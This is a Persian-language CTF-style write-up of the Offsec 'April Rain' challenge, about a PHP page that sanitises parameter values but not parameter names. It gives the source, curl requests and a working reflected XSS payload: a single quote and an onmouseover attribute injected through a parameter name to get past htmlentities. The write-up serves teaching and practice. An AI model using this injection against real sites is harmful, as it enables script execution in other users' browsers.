چالش April Rain آفسک

دیشب کانال آفسک یه چالش جدید وب گذاشت. تو توضیحات نوشته شده این چالش مرتبط با آسیب پذیری Sanitize کردن ورودی ها در Php ه. سطح چالش هم آسان رو به متوسط عنوان شده (من فکر می کنم همون آسون خالی بهتره :) ) خب میریم یه بررسی رو چالش داشته باشیم.

پس از ارسال اولین درخواست به صفحه مورد نظر متوجه می شیم که سورس کد رو به صورت کامنت برای ما گذاشتن. به طور خلاصه به نظر میرسه یه Query String از روی پارامترهای ارسال شده با اعمال چند فیلتر ساخته و به صورت یه لینک به پاسخ اضافه میشه.

$ curl https://offseclabs.ir/april_rain.php

Are you tryina flirt with Parisa Tabriz? So not bad to offer this song to her of your hearts.<br>Sanitization Flaw Challenge<br>Offsec Research<br><br>
<!--
<php
$sanityzed = [];

foreach ($_GET as $key => $value) {
    $sanityzed[$key] = intval($value);
}

$qBits = array_map(function ($key, $value) {
        return $key . '=' . $value;
 }, array_keys($sanityzed), array_values($sanityzed));

$kwɪəri = implode('&', $qBits);
        
echo "<a href='/april_rain.php?2live4" .
        htmlentities($kwɪəri) . "'>2live4</a>";
?>
-->
<a href='/april_rain.php?2live4'>2live4</a>

مساله اول، که بهتر بود تو معرفی چالش عنوان بشه، هدف چالش بود. مثلا تو مسابقات CTF هدف پیدا کردن flag ه. اما اینجا مشخص نیست دقیقا. ولی با یکم بررسی میشه حدس زد که باید از این صفحه آسیب پذیری XSS پیدا کرد. برای تزریق payload حمله نمیشه از مقدار پارامترهای درخواست استفاده کرد چون مقدارها تبدیل به عدد میشن و این فیلتر جلوی حمله رو میگیره اما نام پارامترها میتونه تو اجرای حمله کمک کنه. به آدرس زیر و لینک تولید شده تو صفحه متناظرش توجه کنید.

$ curl https://offseclabs.ir/april_rain.php?foo=0&bar=2
<a href='/april_rain.php?2live4foo=0&bar=2'>2live4</a>

خب واضح ه که با تزریق payload مناسب تو نام پارامترها میشه حمله XSS رو اجرا کرد تنها مساله دور زدن تابع htmlentities ه چون کاراکترهای خاص HTML رو enocde می کنه. در نهایت با درخواست زیر میشه این آسیب پذیری رو exploit و چالش رو حل کرد.

$ curl https://offseclabs.ir/april_rain.php?%27onmouseover%3d%27alert(1)%27foo=0
<a href='/april_rain.php?2live4'onmouseover='alert(1)'foo=0'>2live4</a>

این هم تصویر نتیجه (البته پس از حرکت موس روی لینک)

نتیجه اجرای حمله xss در چالش
نتیجه اجرای حمله xss در چالش

منتظر چالش های جدیتر از آفسک هستیم.